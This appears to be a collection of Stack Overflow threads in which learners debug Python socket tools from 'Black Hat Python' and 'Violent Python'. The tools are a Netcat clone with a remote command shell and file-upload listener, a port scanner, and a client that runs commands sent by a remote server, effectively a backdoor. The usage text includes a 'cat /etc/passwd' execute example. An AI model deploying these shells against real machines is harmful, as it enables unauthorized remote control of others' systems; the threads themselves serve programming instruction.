I'm new to Python and the socket library, and the book I'm reading is called Black Hat Python. There's an exercise in the book that requires the reader to essentially glue together (or re-write) pieces of code in order to create a Netcat clone. I believe I have successfully done this, as I can run the command "python3 netcat.py --help" without any issues. However, when I try to run the command "python3 netcat.py -t 192.168.0.58 -p 5555 -c -l", I'm given this: AttributeError: 'NetCat' object has no attribute 'run'
How do I fix this?
Here's the code:
import argparse
import socket
import shlex
import subprocess
import sys
import textwrap
import threading
def execute(cmd):
cmd = cmd.strip()
if not cmd:
return
output = subprocess.check_output(shlex.split(cmd), stderr=subprocess.STDOUT)
return output.decode()
class NetCat:
def __init__(self, args, buffer=None):
self.args = args
self.buffer = buffer
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
def run(self):
if self.args.listen:
self.listen()
else:
self.send()
def send(self):
self.socket.connect((self.args.target, self.args.port))
if self.buffer:
self.socket.send(self.buffer)
try:
while True:
recv_len = 1
response = ''
while recv_len:
data = self.socket.recv(4096)
recv_len = len(data)
response += data.decode
if recv_len < 4096:
break
if response:
print(response)
buffer = input('> ')
buffer += '\n'
self.socket.send(buffer.encode())
except KeyboardInterrupt:
print("User terminated.")
self.socket.close()
sys.exit()
def listen(self):
self.socket.bind((self.args.target, self.args.port))
self.socket.listen(5)
while True:
client_socket, _ = self.socket.accept()
client_thread = threading.Thread(target=self.handle,args=(client_socket,))
client_thread.start()
def handle(self, client_socket):
if self.args.execute:
output = execute(self.args.execute)
client_socket.send(output.encode())
elif self.args.upload:
file_buffer = b''
while True:
data = client_socket.recv(4096)
if data:
file_buffer += data
else:
break
with open(self.args.upload, 'wb') as f:
f.write(file_buffer)
message = f'Saved file {self.args.upload}'
client_socket.send(message.encode())
elif self.args.command:
cmd_buffer = ''
while True:
try:
client_socket.send(b'BHP: #> ')
while '\n' not in cmd_buffer.decode():
cmd_buffer += client_socket.recv(64)
response = execute(cmd_buffer.decode())
if response:
client_socket.send(response.encode())
cmd_buffer = b''
except Exception as e:
print(f'Server killed {e}')
self.socket.close()
sys.exit()
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Net Tool', formatter_class=argparse.RawDescriptionHelpFormatter,epilog=textwrap.dedent('''Example:
netcat.py -t 192.168.1.108 -p 5555 -l -c # command shell
netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.txt # upload to file
netcat.py -t 192.168.1.108 -p 5555 -l -e=\"cat /etc/passwd\" # execute command
echo 'ABC' | ./netcat.py -t 192.168.1.108 -p 135 # echo text to server port 135
netcat.py -t 192.168.1.108 -p 5555 # connect to server
'''))
parser.add_argument('-c', '--command', action='store_true', help='command shell')
parser.add_argument('-e', '--execute', help='execute specified command')
parser.add_argument('-l', '--listen', action='store_true', help='listen')
parser.add_argument('-p', '--port', type=int, default=5555, help='specified port')
parser.add_argument('-t', '--target', default='192.168.1.203', help='specified IP')
parser.add_argument('-u', '--upload', help='upload file')
args = parser.parse_args()
if args.listen:
buffer = ''
else:
buffer = sys.stdin.read()
nc = NetCat(args, buffer.encode())
nc.run()
This looks like an indentation error. The only method that currently belongs to the class NetCat is __init__. The methods below it, starting with run(self) do not have the same indentation as the __init__ so they don't "belong" to the class NetCat.
Indentation is extremely important in python. It specifies so-called code blocks. If you put the definition for the method run on the same indentation level as the method __init__, then the method run will "belong" to the class NetCat.
On a side note, it is standard to indent with 4 spaces in python. I highly advise you to follow this standard ASAP, as habits are easy to learn but hard to break. I suggest to use a proper code editor like Visual Studio Code or even Notepad++ as they auto-indent when appropriate.
==============================================
EDIT:
I've indented the code in such a way that it should work. Note the difference in indentation for all the methods starting from run. Since they are now in the code block for the class NetCat, they "belong" to this class. I cannot overstate how important indentation is in python. It is one of the core concepts of python, and knowing what it does and how it behaves is absolutely necessary if you want to write any code in python.
import argparse
import socket
import shlex
import subprocess
import sys
import textwrap
import threading
def execute(cmd):
cmd = cmd.strip()
if not cmd:
return
output = subprocess.check_output(
shlex.split(cmd), stderr=subprocess.STDOUT)
return output.decode()
class NetCat:
def __init__(self, args, buffer=None):
self.args = args
self.buffer = buffer
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
def run(self):
if self.args.listen:
self.listen()
else:
self.send()
def send(self):
self.socket.connect((self.args.target, self.args.port))
if self.buffer:
self.socket.send(self.buffer)
try:
while True:
recv_len = 1
response = ''
while recv_len:
data = self.socket.recv(4096)
recv_len = len(data)
response += data.decode
if recv_len < 4096:
break
if response:
print(response)
buffer = input('> ')
buffer += '\n'
self.socket.send(buffer.encode())
except KeyboardInterrupt:
print("User terminated.")
self.socket.close()
sys.exit()
def listen(self):
self.socket.bind((self.args.target, self.args.port))
self.socket.listen(5)
while True:
client_socket, _ = self.socket.accept()
client_thread = threading.Thread(
target=self.handle, args=(client_socket,))
client_thread.start()
def handle(self, client_socket):
if self.args.execute:
output = execute(self.args.execute)
client_socket.send(output.encode())
elif self.args.upload:
file_buffer = b''
while True:
data = client_socket.recv(4096)
if data:
file_buffer += data
else:
break
with open(self.args.upload, 'wb') as f:
f.write(file_buffer)
message = f'Saved file {self.args.upload}'
client_socket.send(message.encode())
elif self.args.command:
cmd_buffer = ''
while True:
try:
client_socket.send(b'BHP: #> ')
while '\n' not in cmd_buffer.decode():
cmd_buffer += client_socket.recv(64)
response = execute(cmd_buffer.decode())
if response:
client_socket.send(response.encode())
cmd_buffer = b''
except Exception as e:
print(f'Server killed {e}')
self.socket.close()
sys.exit()
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Net Tool', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=textwrap.dedent('''Example:
netcat.py -t 192.168.1.108 -p 5555 -l -c # command shell
netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.txt # upload to file
netcat.py -t 192.168.1.108 -p 5555 -l -e=\"cat /etc/passwd\" # execute command
echo 'ABC' | ./netcat.py -t 192.168.1.108 -p 135 # echo text to server port 135
netcat.py -t 192.168.1.108 -p 5555 # connect to server
'''))
parser.add_argument('-c', '--command', action='store_true',
help='command shell')
parser.add_argument('-e', '--execute', help='execute specified command')
parser.add_argument('-l', '--listen', action='store_true', help='listen')
parser.add_argument('-p', '--port', type=int,
default=5555, help='specified port')
parser.add_argument(
'-t', '--target', default='192.168.1.203', help='specified IP')
parser.add_argument('-u', '--upload', help='upload file')
args = parser.parse_args()
if args.listen:
buffer = ''
else:
buffer = sys.stdin.read()
nc = NetCat(args, buffer.encode())
nc.run()
Related
I tested below code with kali and ubuntu and am getting the same error where CTRL-D is not recognized as EOF, this is following the book black hat python 2nd edition,
import argparse
import socket
import shlex
import subprocess
import sys
import textwrap
import threading
def execute(cmd):
cmd = cmd.strip()
if not cmd:
return
output = subprocess.check_output(shlex.split(cmd), stderr=subprocess.STDOUT)
return output.decode()
class NetCat:
def __init__(self, args, buffer=None):
self.args = args
self.buffer = buffer
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
def run(self):
if self.args.listen:
self.listen()
else:
self.send()
def send(self):
self.socket.connect((self.args.target, self.args.port))
if self.buffer:
self.socket.send(self.buffer)
try:
while True:
recv_len = 1
response = ''
while recv_len:
data = self.socket.recv(4096)
recv_len = len(data)
response += data.decode()
if recv_len < 4096:
break
if response:
print(response)
buffer = input('> ')
buffer += '\n'
self.socket.send(buffer.encode())
except KeyboardInterrupt:
print('User terminated.')
self.socket.close()
sys.exit()
def listen(self):
self.socket.bind((self.args.target, self.args.port))
self.socket.listen(5)
while True:
client_socket, _ = self.socket.accept()
client_thread = threading.Thread(
target=self.handle, args=(client_socket,)
)
client_thread.start()
def handle(self, client_socket):
if self.args.execute:
output = execute(self.args.execute)
client_socket.send(output.encode())
elif self.args.upload:
file_buffer = b''
while True:
data = client_socket.recv(4096)
if data:
file_buffer += data
else:
break
with open(self.args.upload, 'wb') as f:
f.write(file_buffer)
message = f'Saved file {self.args.upload}'
client_socket.send(message.encode())
elif self.args.command:
cmd_buffer = b''
while True:
try:
client_socket.send(b'BHP: #> ')
while '\n' not in cmd_buffer.decode():
cmd_buffer += client_socket.recv(64)
response = execute(cmd_buffer.decode())
if response:
client_socket.send(response.encode())
cmd_buffer = b''
except Exception as e:
print(f'server killed {e}')
self.socket.close()
sys.exit()
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description='BHP Net Tool',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=textwrap.dedent('''Example:
netcat.py -t 192.168.1.108 -p 5555 -l -c # command shell
netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.txt # upload to file
netcat.py -t 192.168.1.108 -p 5555 -l -e=\"cat /etc/passwd\" # execute command
echo 'ABC' | ./netcat.py -t 192.168.1.108 -p 135 # echo text to server port 135
netcat.py -t 192.168.1.108 -p 5555 # connect to server
'''))
parser.add_argument('-c', '--command', action='store_true', help='command shell')
parser.add_argument('-e', '--execute', help='execute specified command')
parser.add_argument('-l', '--listen', action='store_true', help='listen')
parser.add_argument('-p', '--port', type=int, default=5555, help='specified port')
parser.add_argument('-t', '--target', default='192.168.1.203', help='specified IP')
parser.add_argument('-u', '--upload', help='upload file')
args = parser.parse_args()
if args.listen:
buffer = ''
else:
buffer = sys.stdin.read()
nc = NetCat(args, buffer.encode())
nc.run()
commands run were
python netcat.py -t 192.168.1.203 -p 5555 -l -c
and
python netcat.py -t 192.168.1.203 -p 5555
CTRL-D doesn't work for above command when I try to run it, I've tried with kali and ubuntu to see if it was an OS error
I am trying to do the port scanner from the Violent Python and I ran into following problem. This post will be similar to this post ("https://stackoverflow.com/questions/17807992/violent-python-port-inputs-not-being-seperated") but it is a different problem. I want to run multiple port like this
python PortScanner.py -H www.google.com -p 21, 22, 80
but it scanned only the initial first port (21) then exited the program So I want to know how can I fix this code to run multiple ports.
Note: It also said that args in (option, args) = parser.parse_args() is not accessible by Pylance so is it concern to it or how can I fix it as well.
import optparse
import socket
from socket import *
def connscan(tgtHost,tgtPorts):
try:
connSkt= socket(AF_INET,SOCK_STREAM)
connSkt.connect((tgtHost, tgtPorts))
connSkt.send('Violent Python\r\n')
results = connSkt.recv(100)
print ('[+]%d/tcp open'% tgtPorts)
print ('[+]' + str(results))
connSkt.close()
except:
print ('[-]%d/tcp closed'% tgtPorts)
def PortScan(tgtHost,tgtPorts):
try:
tgtIP=gethostbyname(tgtHost)
except:
print ("[-] Cannot resolve '%s': Unkown host"%tgtHost)
return
try:
tgtName= gethostbyaddr(tgtIP)
print ("\n[+] Scan Result for: "+ tgtName[0])
except:
print ("\n[+] Scan Result for: " + tgtIP)
setdefaulttimeout(1)
for tgtPort in tgtPorts:
print ("Scanning Port " + tgtPort)
connscan(tgtHost,int(tgtPort))
def main():
parser = optparse.OptionParser('Usage: %prog -H ' +\
'<target host> -p <target port>')
parser.add_option('-H', dest = 'tgtHost', type = 'string', \
help = 'specify target host')
parser.add_option('-p', dest = 'tgtPort', type = 'int', \
help = 'Specify target port' )
(options,args) = parser.parse_args()
tgtHost = options.tgtHost
tgtPorts = str(options.tgtPort).split(',')
if ( tgtHost == None) | (tgtPorts[0] == None):
print(parser.usage)
exit (0)
print(*tgtPorts, sep=", ")
PortScan(tgtHost,tgtPorts)
if __name__ == '__main__':
main()
I managed to solve the problem by changing the type of tgtPort from int to string and use quote as following at the command line python PortScanner.py -H www.google.com -p "21, 22, 80".
This question is a follow-up of this topic.
The OP was very likely encountering "Connection Refused". I'm facing it now with the same
code:
#!/usr/bin/env python3
import sys, socket, subprocess, threading, getopt
listen = False
upload = False
command = False
execute = ''
target = ''
upload_dest = ''
port = 0
USAGE = '''
BHP Net Tool
Usage: bhpnet.py -t target_host -p port
-l --listen - listen on [host]:[port] for incoming
connections
-e --execute=file_to_run - execute the given file upon receiving
a connection
-c --command - initialize a command shell
-u --upload=destination - upon receiving connection upload a file
and write to [destination]
Examples:
bhpnet.py -t 192.168.0.1 -p 5555 -l -c
bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe
bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"
echo "ABCDEF" | ./bhpnet.py -t 192.168.11.12 -p 135
'''
def usage():
print(USAGE)
sys.exit(0)
def main():
global listen
global port
global execute
global command
global upload_dest
global target
if not len(sys.argv[1:]):
usage()
try:
opts, args = getopt.getopt(sys.argv[1:], 'hle:t:p:cu:',['help','listen',
'execute','target','port','command','upload'])
except getopt.GetoptError as err:
print(str(err))
usage()
for o, a in opts:
if o in ('-h', '--help'):
usage()
elif o in ('-l', '--listen'):
listen = True
elif o in ('-e', '--execute'):
execute = a
elif o in ('-c', '--commandshell'):
command = True
elif o in ('-u', '--upload'):
upload_dest = a
elif o in ('-t', '--target'):
target = a
elif o in ('-p', '--port'):
port = int(a)
else:
assert False, 'Unhandled Option'
if not listen and len(target) and port > 0:
buffer = sys.stdin.read()
client_sender(buffer)
if listen:
server_loop()
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
client.connect((target, port))
if len(buffer):
client.send(buffer)
while True:
recv_len = 1
response = ''
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print(response)
buffer = input('')
buffer += '\n'
client.send(buffer)
except Exception as e:
print(e) # here it prints out "Connection Refused"
print('[*] Exception ! Exiting ...')
client.close()
def server_loop():
global target
if not len(target):
target = '0.0.0.0'
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
client_thread = threading.Thread(target=client_handler, args=(client_socket,))
client_thread.start()
def run_command(command):
command = command.rstrip()
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except:
output = 'Failed to execute command.\r\n'
return output
def client_handler(client_socket):
global upload
global execute
global command
if len(upload_dest):
file_buffer = ''
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
try:
with open(upload_dest, 'wb') as file_descriptor:
file_descriptor.write(file_buffer)
client_socket.send(b'Successfully saved file to {}.'.format(upload_dest))
except:
client_socket.send(b'Failed to save file to {}'.format(upload_dest))
if len(execute):
output = run_command(execute)
client_socket.send(output)
if command:
while True:
client_socket.send(b'<BHP:#> ')
cmd_buffer = ''
while '\n' not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
response = run_command(cmd_buffer)
client_socket.send(response)
main()
I'd like to ask more experienced network professsional why it could possibly throw "Connection Refused" if the port 9999 is open and firewall isn't blocking it ?
Running it like this:
server-side: ./netcat_repl.py -l -p 9999 -c
client-side: ./netcat_repl.py -t localhost -p 9999
I am playing around with a little netcat tool of my own, but I keep getting "Connection refused" and a reference to a specific line, I've highlighted that below.
First I run the server, with the following command:
python Netstatx.py -l -p 9999 -c
Then I run the "client" which tries to make a connection to the server, which is listening on port 9999:
python Netstatx.py -t localhost -p 9999
As mentioned, the above gives me an "Connected refused"-exception, how come?
import sys
import socket
import getopt
import threading
import subprocess
# Define globals
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
print "Netstatx - Net Tool for your convenience"
print
print "Usage: Netstatx.py -t target_host -p port"
print "-l --listen - Listen on [host]:[port] for
incoming connections"
print "-e --execute=file_to_run - Execute the given file upon
receiving a connection"
print "-c --command - Initialize a command shell"
print "-u --upload=destination - Upon receiving connection,
upload a file and write to
[destination]"
print
print
print "Examples: "
print "Netstatx.py -t 192.168.0.1 -p 5555 -l -c"
print "Netstatx.py -t 192.168.0.1 -p 5555 -l -u=\\target.exe"
print "Netstatx.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
sys.exit(0)
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "%s:%s" % (target, port)
# Connect to our target host
**client.connect((target, port))** <-- This is failing.
if len(buffer):
client.send(buffer)
while True:
# Now wait for data back
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print response,
# Wait for more input
buffer = raw_input("")
buffer += "\n"
# Send it off
client.send(buffer)
def server_loop():
global target
# If no target is defined, we listen on all interfaces
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# Spin off a thread to handle our new client
client_thread = threading.Thread(target=client_handler,
args=(client_socket,))
client_thread.start()
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
# Read the commandline options
try:
opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
["help","listen","execute","target","port","command",
"upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l", "--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False, "Unhandled option!"
# Are we going to listen or just send data?
# if not listen and len(target) and port > 0
# Read in the buffer from the commandline
# this will block, so send CTRL-D if not sending input
# to stdin
buffer = sys.stdin.read()
# Send data off
client_sender(buffer)
# We are going to listen and potentially
# upload things, execute commands, and drop a shell back
# depending on our command line options above
if listen:
server_loop()
main()
def run_command(command):
# trim the newline
command = command.rstrip()
# Run the command and get the output back
try:
output = subprocess.check_output(command,
stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command. \r\n"
# Send the output back to the client return output
return output
def client_handler(client_socket):
global upload
global execute
global command
# Check for upload
if len(upload_destination):
# Read on all of the bytes and write to our destination
file_buffer = ""
# Keep reading data until none is available
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
# Now we take these bytes and try to write them out
try:
file_descriptor = open(upload_destination, "wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
# Acknowledge that we rote the file out
client_socket.send("Successfully saved file to %s\r\n" %
upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" %
upload_destination)
# Check for command execution
if len(execute):
# Run the command
output = run_command(execute)
client_socket.send(output)
# Now we go into another loop if a command shell was requested
if command:
while True:
# Show a simple prompt
client_socket.send("<Netstatx:#> ")
# Now we receive until we see a linefeed (enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
# Send back the command output
response = run_command(cmd_buffer)
# Send back the response
client_socket.send(response)
import sys
import socket
import getopt
import threading
import subprocess
#define some global variables
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
print "Net Tool"
print
print "Usage : netcat.py -t target_host -p port"
print "-l --listen -listen on [host]:[port] for incoming connections"
print "-e --execute=file_to_run -execute the given file upon receiving a connection "
print "-c --command -intialize a command shell"
print "-u --upload=destination -upon receiving connection upload a file and write to [destination]"
print
print
print "Examples : "
print "netcat.py -t 192.168.0.1 -p 5555 -l -c"
print "netcat.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
print "netcat.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo 'ABCDEEGHI' | ./netcat.py -t 192.168.11.12 -p 135"
sys.exit(0)
def run_command(command):
#trim the newline
command= command.rstrip()
#run the command get the output back
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command.\r\n"
#send the output back to the client
return output
def client_handler(client_socket):
global upload
global execute
global command
#check for upload
if len(upload_destination):
#read in all of the bytes and write to our destination
file_buffer= ""
#keep reading data until none is available
while True:
data= client.socket.recv(1024)
if not data:
break
else:
file_buffer += data
#now we take these bytes and try to write them out
try:
file_descriptor=open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
#aknowledg that we wrote the file out
client_socket.send("Successfully saved file to %s \r\n" % upload_destination)
except:
client_socket.send("Failed to save file to %s \r\n" % upload_destination)
# check for command execution
if len(execute):
# run the command
output = run_command(execute)
client_socket.send(output)
# now we go into another loop if a command shell was requested
if command:
while True:
# show a simple prompt
client_socket.send("<BHP:#> ")
# now we receive until we see a linefeed (enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
# send back the command output
response = run_command(cmd_buffer)
# send back the response
client_socket.send(response)
def client_sender(buffer):
client= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
#connect to our target host
client.connect((target,port))
if len(buffer):
client.send(buffer)
while True:
#now wait for data back
recv_len=1
response=""
while recv_len:
data = client.recv(4096)
recv_len= len(data)
response+=data
if recv_len<4096:
break
print response,
#wait for more input
buffer = raw_input("")
buffer+= "\n"
# send it off
client.send(buffer)
except:
print "[*] Exception! Exiting."
client.close()
def server_loop():
global target
#if no target is defined , we listen on all interfaces
if not len(target):
target ="0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
#spin off a thread to handl our new client
client_thread= threading.Thread(target=client_handler, args=(client_socket,))
client_thread.start()
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
#read the commandline options
try:
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu",["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l","--listen"):
listen=True
elif o in ("-e", "--execute"):
execute =a
elif o in ("-c", "--commandshell"):
command= True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target =a
elif o in ("-p", "--port"):
port=int(a)
else :
assert False, "unhandled option"
# are we going to listen or just send data from stdin?
if not listen and len(target) and port> 0 :
#read in the buffer from the cmdline
#this will block, so send CTRL-D if not sending input
#to stdin
buffer = sys.stdin.read()
client_sender(buffer)
#we are goin to listen and potentially
#upload things, execute commands, and drop a shell back
#depending on our command line options above
if listen :
server_loop()
main()
I found some syntax errors running out your script ( it may be just from copy past), any way i did my small edits and it's working (knowing i'm under linux)
Your problem may be the firewall is refusing connection on that port, try to check it out
I am trying to remotely change the cwd via socket lib on existing client, but I am running into the trouble every time I send the actual command "cd ..".
Server:
import socket, subprocess, os, sys
s = socket.socket()
host = socket.gethostname()
ip = socket.gethostbyname(host)
port = 8080
s.bind((ip,port))
s.listen(5)
c, a = s.accept()
fr = c.recv(10000)
cwd = fr
print("IP: "+str(a[0])+":"+str(a[1])+"\tCONNECTED")
while True:
cmd = raw_input("\n"+cwd+"> ")
if cmd != "":
c.sendall(cmd)
data = c.recv(1024)
print("\n"+data)
if cmd == "cd ..":
c.sendall(cmd)
cwd = c.recv(1024)
Client:
import socket, subprocess, os, sys
i = 1
cwd = os.getcwd()
while 1:
s = socket.socket()
host = socket.gethostname()
ip = socket.gethostbyname(host)
port = 8080
try:
s.settimeout(5)
s.connect((ip,port))
s.settimeout(None)
s.sendall(cwd)
i = 1
while i == 1:
cmd = s.recv(10000)
if cmd != "over":
sp = subprocess.Popen(cmd, shell=True, cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
out = sp.stdout.read()+"_________________________________"
msg = out + sp.stderr.read()
s.sendall(msg)
if cmd == "over":
s.close()
i = 0
if cmd == "cd ..":
j = 0
k = 0
for i in cwd:
if i == '/':
k = j
j = j + 1
cd = cwd[0:k]
subprocess.Popen('echo', shell=True, cwd=cd)
s.sendall(cd)
print(cd)
except socket.error:
continue
Here is the error I get:
Traceback (most recent call last):
File "PycharmProjects/server-client/test_hq.py", line 25, in <module>
c.sendall(cmd)
File "/usr/lib/python2.7/socket.py", line 228, in meth
return getattr(self._sock,name)(*args)
socket.error: [Errno 104] Connection reset by peer
I can't figure it out what seems to be the problem...
This should be closer to what you want, it is a lot simpler to receive and send once instead of repeatedly sending and receiving the same commands:
Client.py:
import socket, subprocess, os, sys
cwd = os.getcwd()
def make_socket():
s = socket.socket()
host = socket.gethostname()
ip = socket.gethostbyname(host)
port = 8080
s.settimeout(5)
s.connect((ip, port))
s.settimeout(None)
s.sendall(cwd)
return s
while True:
s = make_socket()
try:
while True:
cmd = s.recv(10000)
if cmd == "cd ..":
# os.chdir("..") # uncomment to actually change directory
cd = cwd.rsplit(os.sep(), 1)[0]
subprocess.Popen('echo', shell=True, cwd=cd)
s.sendall(cd)
elif cmd != "over":
sp = subprocess.Popen(cmd, shell=True, cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
out = sp.stdout.read() + "_________________________________"
msg = out + sp.stderr.read()
s.sendall(msg)
else:
print("closed")
s.close()
sys.exit(0)
except socket.error as e:
print(e)
break
server.py:
import socket, subprocess, os, sys
s = socket.socket()
host = socket.gethostname()
ip = socket.gethostbyname(host)
port = 8080
s.bind((ip,port))
s.listen(5)
c, a = s.accept()
fr = c.recv(10000)
cwd = fr
print("IP: "+str(a[0])+":"+str(a[1])+"\tCONNECTED")
while True:
cmd = raw_input("\n"+cwd+"> ")
if cmd == "cd ..":
print("sending 2")
c.sendall(cmd)
# os.chdir("..") # uncomment to change dir
cwd = c.recv(10000)
elif cmd != "":
print("sending 1")
c.sendall(cmd)
data = c.recv(10000)
print("\n"+data)
If you want to handle the client closing the socket and sys.exit(0) on the server side you should catch a socket.error on the server side to avoid a broken pipe error.
try:
while True:
print(os.getcwd(),44444)
cmd = raw_input("\n"+cwd+"> ")
if cmd != "" and cmd != "cd ..":
print("sending 1")
c.sendall(cmd)
data = c.recv(10000)
print("\n"+data)
if cmd == "cd ..":
print("sending 2")
c.sendall(cmd)
# os.chdir("..") # uncomment to change dir
cwd = c.recv(10000)
except socket.error as e:
print("Exception caught for {}".format(e.strerror))
If you want to do different things based on the errno you can compare in the except:
if e.errno == errno.EPIPE: i.e Broken pipe etc..
All the errno's are listed here in the errno docs
Considering the comment, this might help with your cd issues:
import re
import os.path
# Other stuff
m = re.match(r'cd(?:\s+|$)(.*)', cmd)
if m:
dirs = m.groups()
# Default to cd is home directory
if len(dirs) == 0 or len(dirs[0]) == 0:
dir = os.environ['HOME']
else:
dir = dirs[0]
if dir == '..':
head, tail = os.path.split(cwd)
dir = head
subprocess.Popen('echo', shell=True, cwd=dir)
s.sendall(dir)
# Update cwd
cwd = dir
print(dir)
else:
# Some other command